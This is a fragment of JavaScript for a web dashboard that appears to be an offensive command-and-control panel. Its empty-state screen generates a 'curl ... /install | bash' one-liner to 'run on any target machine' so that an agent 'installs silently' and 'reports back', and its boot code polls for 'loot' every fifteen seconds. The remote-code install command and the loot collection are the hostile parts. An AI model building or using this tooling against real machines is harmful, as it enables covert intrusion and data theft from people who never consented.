}).catch(() => toast('Download failed', 'error'));
}
// ── Empty state hero ──
function renderEmptyHero() {
const endpoint = publicUrl || `http://${serverIp}:${serverPort}`;
const cmd = `curl -sSL ${endpoint}/install | bash`;
return '<div class="empty-hero">' +
'<i class="fa-solid fa-satellite-dish empty-hero-icon"></i>' +
'<h2>No Nodes Deployed Yet</h2>' +
'<p>Run this one-liner on any target machine — auto-detects OS, installs silently, reports back in seconds.</p>' +
'<div class="empty-cmd"><code id="emptyCmd">' + escapeHtml(cmd) + '</code>' +
'<button class="btn btn-primary" onclick="navigator.clipboard.writeText(document.getElementById(\'emptyCmd\').textContent).then(()=>toast(\'Install command copied\',\'success\'))"><i class="fa-solid fa-copy"></i> Copy</button></div>' +
'<div id="emptyQr" class="empty-qr"></div>' +
'<p class="empty-hint">or click <strong>Deploy Agent</strong> above for platform-specific installers</p>' +
'</div>';
}
// ── Boot ──
let _booted = false;
function bootApp() {
if (_booted) return;
_booted = true;
initWebSocket();
pollLoot();
setInterval(pollLoot, 15000);
}
document.addEventListener('DOMContentLoaded', async () => {
const open = await probeAuth();
if (open) bootApp();
document.getElementById('authTokenSubmit').addEventListener('click', submitAuthToken);
document.getElementById('authTokenInput').addEventListener('keydown', e => { if (e.key === 'Enter') submitAuthToken(); });
});